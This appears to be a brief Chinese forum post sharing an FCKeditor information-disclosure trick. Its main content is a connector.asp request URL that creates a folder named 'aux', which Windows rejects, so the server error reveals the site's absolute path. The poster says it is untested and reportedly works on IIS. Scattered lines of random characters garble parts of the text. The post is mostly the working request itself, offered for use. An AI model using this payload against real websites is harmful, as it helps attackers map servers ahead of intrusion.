最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
) h$ [% {9 T# i5 S: ?4 ^" @
6 r8 c& j$ C# r: {+ w
- [3 G: s! Q, r2 b0 ^& ~版本未测试。。。

原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
# H8 v0 b: `+ J  \4 I2 J& }
/ j: m) O/ p7 U. {! P8 X; t/ f
听说IIS都可以。。